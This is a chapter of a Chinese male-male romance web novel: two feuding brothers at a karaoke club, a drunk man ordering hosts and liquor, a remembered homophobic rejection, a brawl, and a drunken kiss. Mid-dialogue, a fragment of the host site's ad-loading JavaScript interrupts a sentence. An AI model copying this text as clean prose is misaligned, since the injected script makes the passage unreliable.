这下好了,当这么多人面揭他老底,怎么不直接拿一大喇叭吼呢?不过现在谢玉承有点冲动,真给他一大喇叭,兴许还真会这样做。 “行行。”段焱道:“那咱俩算扯平了,走,真陪我喝一杯去,喝了这杯酒,把咱俩得事好好掰扯清楚,那么多事儿呢。是吧,你说是吧?” 谢玉承揉了揉太阳穴,没握住他伸过来的手,自己扶着墙站起来。 “去也行,不过这事儿没平。”谢玉承道。 “那你还想怎么样啊?”段焱无奈。 “你得再让我打一拳。” “……成。” 段焱闭上眼睛,等了一会儿,没等到,以为是他舍不得了,心里一乐,刚要把眼睛睁开。 “宝……” 话音未落,一拳结结实实砸在他脸上。 段焱看着满手的鼻血,“靠!敢情你刚才他妈的蓄力呢!” 26.第 26 章 段焱另外开了间包厢,包厢里就他俩人。 经理亲自过来照料,拿了pad上的酒单给他看。 “给开套啤的就行。”段焱道。 谢玉承起身要走。 “干嘛呢祖宗!我又哪得罪你了!”段焱赶忙扑上去。 谢玉承冷眼盯着他,一时间情绪又上来了,直接破口大骂。 “你不是要和我谈吗?一套啤的够低消吗你就谈?老子给你当这么多年保姆,没有功劳也有苦劳吧!床上没本事床下也没本事!你他妈倒是有地方能立起来啊!” 经理在边上听得一愣一愣的。 这地方段焱常来,经理也认得他俩,谢玉承以前给人的印象就是斯文温柔彬彬有礼,在家里什么样不知道,总之在外面顶给段焱面子,从来没这样过。 看来这回醉得真有点厉害了。 段焱被他一顿骂,险些没晕过去。 “真就一点儿破事翻来覆去地说!老子又不是没去治!你以为我想这样的啊!” “呵,段总,这谢先生的意思还不清楚吗?您这开个包厢就点套啤的,不是有点太寒碜了?”经理在一旁拱火。 段焱脸上挂不住,赶紧给他拉过来,“行!点!点好酒!来套蓝带!” 谢玉承没坐下。 段焱无奈,“您又哪不满意了?” 谢玉承对着经理挥挥手道:“叫人进来。” 他这话经理熟,不等看段焱脸色,立马出去叫人去了。 段焱张了张嘴,没敢说话,打心眼儿里有点儿后悔给谢玉承弄过来,本来是想找茬的,这下怎么给自己丢坑里去了。 不一会儿,经理叫了十几个男模进来,个个身材好得让人惊叹,都是些肌肉男,脸也是耐看好看的那种。 谢玉承眼前是花的,包厢里光线又暗,他其实没怎么看清楚,随便点了两个就让人坐下了。 包厢的消费直接拉上五位数,段焱掏出信用卡的时候心都在出血,赶紧喝了杯酒压压惊。 放在以往,从来都是他点模子,让谢玉承坐边上看,这回儿俩人地位反转,他不高兴,可又不敢再发脾气,生怕给人再惹毛,那张嘴又不知道能给自己啥破事给抖出来。 真是和段也待一起学坏了,光是这嘴上损人骂人的功夫,至少学了段也两分火候。 两男模照理来说,光从身材上来看很符合谢玉承的心意,尤其是穿得还很露。可谢玉承毕竟不是这种类型的人,他被俩男人夹在中间的时候顿时就后悔了,想叫经理把人给弄出去。 转念一想,他以前哪来机会这么花段焱的钱,这花的可是段焱的钱,哪有不花的道理,于是只好硬着头皮玩。 男模最会消酒,急急忙忙地就喝完了一瓶蓝带,谢玉承其实搞不清楚究竟是喝的还是倒的,但他也不在乎了。 他这下醉的是真的有点神志不清,贴在男模身上道:“你们尽管消,没了再让他点,不怕,姓段的嘛,有的是钱。” 段焱站在中间拉着嗓子唱海阔天空,醉醺醺地连站都站不稳,更不可能听清楚他在说什么。 “喝啊宝贝儿!今儿这钱反正已经花出去了,你开心就好!什么都比不上你开心是不是!” 谢玉承扯了扯嘴角,把酒朝他推过去,“段总不是要喝酒吗?要我喝你难道不喝吗?” “喝!当然喝!”段焱坐在桌上,拿着酒一饮而尽。 “我说宝贝,你说你这么漂亮一张脸,叫男模来,到底是你陪他们呢,还是他们陪你呢?” “用不着你管。”谢玉承冷声道,一个劲拿着酒吞。 他现在一心只剩下喝酒,反正早就醉了,再喝下去也没差的。那烈酒如今在他眼里和白开水没啥区别,反正喝下去都是胃里火辣辣的,要是真彻底醉死过去,心里那点空落落的地方也不会这么难受了。 段焱摇摇晃晃地朝他靠拢,“是、是,我当年是对你不好,可咱俩那是利益交换好吧。你看,要是没我,你那混账爹如今不得再给你留下几笔烂账?” 谢玉承心里一怔,“去你的段三火!姓谢的怎么滚的蛋你别他妈在我面前装好人,那点破事说出来咱俩都得完蛋!谁也没想好过!” 段焱打了个哆嗦,冲上去就把他嘴给捂着,“姑奶奶,你行行好!别啥事都往外抖成不成!” 谢玉承一脚把他踹开。 “咱俩怎么在一起的,怎么耗到今天的,段三火,你别啥事儿都往我身上拢。你一开始不找我,事情也不会走到今天这一步!” 段焱嘁了一声,“是,我承认,当初是我乘虚而入,你不也没拒绝我吗?我把你骗到手是为了气段老二,你和我在一块儿不也是为了能和段老二有点儿联系吗?” 谢玉承:“……” “钱!”段焱指着他道:“对!还有钱!可惜你被我骗了,哪知道我就是一不受宠的私生子呢?我老爹说把我接回来,可他又不敢把公司给我……” “那是因为你没本事,你哪怕有段也十分之一的本事,老段总也不至于到现在都把你塞不进管理层!”谢玉承道。 段焱重重地点了点头,“你说的对,谁都这么说嘛,大家也都没说错,我就是没本事,我唯一的本事就是把你骗到手。这一点,只有这一点我赢了段也!” 谢玉承翻了个白眼,“关段也什么事?你唯一赢的就是年纪比他大,比他老,让他从老大变成老二!” 段焱哈哈笑了几声,“你不知道,你不知道,宝贝啊,你还记得以前你托我给老二递情书不?” “陈芝麻烂谷子的事,你他妈能不能别提了?”谢玉承蹙眉道,酒越喝越多,脑子越来越晕。 他喜欢过段也,这事儿只有段焱知道。段也是他唯一一个主动喜欢上的人,喜欢到每天晚上春梦的主角都是那个抱着电吉他在舞台上又酷又帅的男人,年轻、身材好、长得帅、有钱,他没道理不喜欢。 可段也是直男,至少当时大家都这么说。 可他不信,他想试一试。 他做了巧克力,写了情书,心情忐忑地想要交给段也。可爱上一个直男是要遭天打雷劈的,他不敢当面告白,只能通过这种方式。 那天的社团活动室走廊,他靠在楼梯口,不知道做了多久的心里准备,给自己打了多久了气,又在心里排练了多少次。 可时机不好,他找不到能和段也单独相处的机会。 那时候的段焱已经毕业了,俩人以前在学生会见过几次,那次不知道为什么会突然出现在学校。他们在楼梯口相遇,段焱看他的表情,一瞬间就知道他是来干嘛的了。 “东西给我,我帮你呗。”段焱笑眯眯道:“那万一他是直男呢?当面被拒绝,不是很可怜?” 谢玉承心里甚至有过一瞬间的感激,他拜托段焱帮忙,之后却看到自己的信和巧克力出现在垃圾桶里。 他听到段也在教室里和别人说话。 “刚才又有人给你告白啊?” “男的。”段也骂了一声,“恶心死了,那些gay他妈的能不能死远一点?我现在一看见gay我就想吐,又贱又恶心,操。” “哈哈哈,那万一咱们谢校草要追你呢?他那长相,真有机会睡也不亏啊。” “……谁?谢玉承?” “对啊,不然呢?送上门的谢校草给你睡你睡不睡?段老二,你别是不敢吧?” “我那是不敢吗!我那是嫌恶心!谁乐意走后门谁走,我不乐意!” 那些话徘徊在脑海里,本来以为已经忘记了的事,经过段三火一提醒,他现在又想起来了。连带着那时候的喜欢和难过一起想起来了,他心想,要不是被段也拒绝,又要不是恰好段三火在他最低落的时候追他,他哪能呢? 他有点后悔,又觉得没有什么好后悔的,可想来想去,他还是后悔的。 说不喜欢了,真的就不喜欢了吗?陈年的喜欢变质归变质,不尝上一口,哪知道究竟是不是真变质了呢? 他觉得自己放下了,可现在为什么还是会难过呢?要是真的不喜欢了,那段也说的那些话为什么又能伤自己那么深呢? 谁都不能让自己这么难过。 除了段也。 好像段也这俩字种在他心里了似的,稍微那么拨弄,轻而易举地就能欢喜,也能轻而易举地就难过。 一套蓝带很快没了。 谢玉承已经醉到看不清眼前的人是谁,不知道周围正在发生什么。胃里的一切都在翻滚,他想吐,想把一切都吐出来。 “段少!段少你冷静啊!” 门被猛地推开。 段也手里操着酒瓶,眼睛里充斥着红血丝,一进来就看到段焱在中间嘶吼唱歌,另一头,是谢玉承被一群男人围在中间,脚踩在沙发上,整个人都蜷缩成一团。 一股火气直冲脑门儿。 “段、焱——!” 听到这个声音,段焱的酒几乎是一瞬间就醒了,捂着脑袋躲到一个男模身后。 “老子说过什么!啊!”段也操起酒瓶就朝他扔过去,“你他妈还敢找他喝酒!” 酒瓶摔碎在地上,满地的玻璃碎渣。段也在房间里给了他一拳,转头看见在沙发上昏昏欲睡的谢玉承,他想了一秒,拎着段焱的领口就生拉硬拽地往外拖。 场面几乎不可控了,段焱被他拽到门口,一拳一拳地砸在脸上,鼻血狂飙,嘴里止不住地告饶。可就这种场面了,经理愣是没敢报警。 人俩兄弟在自家地盘打架,没人敢报警。 “操!今儿真是他自己要喝的!老子没怎么劝!男模也是他自己要点的!刚才还只点了两个,我也不知道怎么多出来这么老些啊!”段焱哭诉道。 “老二,老二你行行好,他妈的你再打我真的要死了!” “你死了最好!”段也一拳把他砸在地上。 段焱捂住脑袋,“你不信可以问经理啊!谢玉承今儿就是喝醉了,他心情不好!心情不好!鬼知道他为什么心情不好!” 谢玉承心情不好? 这个念头在脑子里闪过,段也愣了一下,拳头没再挥下去。 经理眼看段焱的脸都肿地像个猪头了,也不好再旁观,赶紧上去劝阻道:“是啊段少,今儿酒也是谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 先生点的,男模也是他自己要的,我们谁都没劝啊。” 段也深吸了一口气,推开门走进去。 那些男模站成一排,没一个敢动的。 段也恶狠狠瞪着他们,“滚!” 经理探了个头进来,急急忙忙对他们道:“都走啊!愣着干嘛!找死啊!” “走什么走……喝酒啊,怎么没人喝酒了?”谢玉承迷迷糊糊地抬起头,也看不清怎么回事,只觉得包房里的人少了许多,桌上的酒也没了。 “经理呢,酒单,我要点酒。”他摇摇晃晃地起身,险些一下子摔在桌上。 身体往前倾倒的那一刻,段也眼疾手快地将他捞起来,小心翼翼地扶着他坐好。 “酒……”谢玉承喃喃道。 看着他喝醉的样子,段也心里说不出的难受,“你别喝了,你都喝多少了,没酒了哈,咱们回家好不好?” 就这么一句话,谢玉承能听见的就没酒了三个字。他眉头皱起来,嗓音瞬间哽咽。 “你们段家这么有钱,给我花点怎么了?不就几瓶酒吗?这么舍不得,就这么舍不得吗!” 段也有些被吓住了,拉也不好拉,只能先把他稳住,叫了经理过来点酒。 “好好,我们点,谢玉承,你想点多少点多少,但咱们别喝了好不好?”段也把他抱在怀里。 他只觉得手放在谢玉承身上的那一刻,自己整个人都不对劲了,他知道这样不对,不应该乘别人喝醉的时候这样做。 可他就是忍不住。 谢玉承没有拒绝,他便搂地越来越紧,像是恨不得把人揉碎进心里似的。 谢玉承艰难挤出手臂,接过pad。 “不就是一点酒吗?没了就点啊,怎么还给不起吗?”他在上面一顿乱戳,逮着最贵的几套酒来来回回地点了好几次。 连果盘都点了二十个。 “摆满!把桌子全部给我摆满!”谢玉承醉醺醺地道。 “盯着我干嘛?!买单啊!”段也冲着段焱吼道。 段焱缩在一边,支支吾吾地说:“老二啊,你也知道我这情况,我哪来的钱啊?刚才我那张卡就已经刷不上了,之前点的酒还没付上呢。” 经理在一旁附和道:“段少,他的卡确实一点额度都没了,您看这,还点吗?” “点啊?为什么不点?又舍不得吗!”谢玉承口齿不清地说道,把头埋在段也的怀里,闷声带着哭腔。 段也心里被他哭得一点也受不了,掏了自己的卡扔出去。 “刷我的,今晚他要什么就给他什么,我付。” 经理赶紧接过来,飞快拿着卡刷了。 两百来万,叮地一下就出去了。 “刚才那些帅哥呢?人怎么就剩你一个了?”谢玉承抬起头,手捧起段也的脸,“叫他们回来,挨个挨个地给我跳舞,之前你们不都喜欢玩这些吗?我也要玩。” 段也:“……” 谢玉承吸了吸鼻子,“又不可以了吗?” 段也叹了口气,指尖在他脸上蹭了蹭,“可以,你想要什么都可以。你想要的,他给不了你,我能给。” 没一会儿,桌上全被摆满了酒,一点空隙没剩下。 谢玉承喝了几杯,实在受不了地吐了,反复吐了几次,人更不清醒了。段也拿水给他漱口,轻轻拍着他的背,心疼地跟被人用刀捅了似的。 段焱刚才被打又被骂,现在又被逼着在上面唱歌,“老二啊,他这就是报复性消费,你别惯着他。” 段也瞪了他一眼,咬牙道:“老子叫你停了吗?!” 段焱不敢再说了,又接着唱歌。 谢玉承把胃里剩下的都吐了,忽然拉了拉他的衣角,双眼迷离地抬头看他,“他们都脱了衣服,你怎么不脱?” 段也微怔,这才意识到谢玉承从头到尾都把他当男模了。 心里虽然无奈,但还是依着他。 “脱,我现在就脱。” 谢玉承冲着他轻笑了声,唇角弯成一条好看的弧度。 段也的心立刻乱了,觉得谢玉承这时候无论让他做什么他都做,还管脱不脱什么衣服呢。 他露出上半身的腹肌,谢玉承把手搭上去,从上摸到下。 段也的呼吸有些急促,被指尖滑过得皮肤像是点着了一把火,将他的理智烧焦在崩溃的边缘。 “你过来。”谢玉承道:“你蹲下来。” 段也听话地蹲在他面前。 “哥,怎么了?” 谢玉承盯着他的脸看了半天,总觉得有点熟悉,但怎么都看不清楚,就像有人在他眼前蒙了一层纱似的。 可有股味道他很熟悉。 他双手环住段也的脖子,“你身上,好闻。” “像他。” “像……谁?”段也的脑子里过了道电似的。 “可以吗?”谢玉承问了一句。 段也下意识回复道:“可以,什么都可以。” 谢玉承笑了声,“那肯定啊,花了大价钱的呢。” 说完,他凑上去吻住了段也的唇。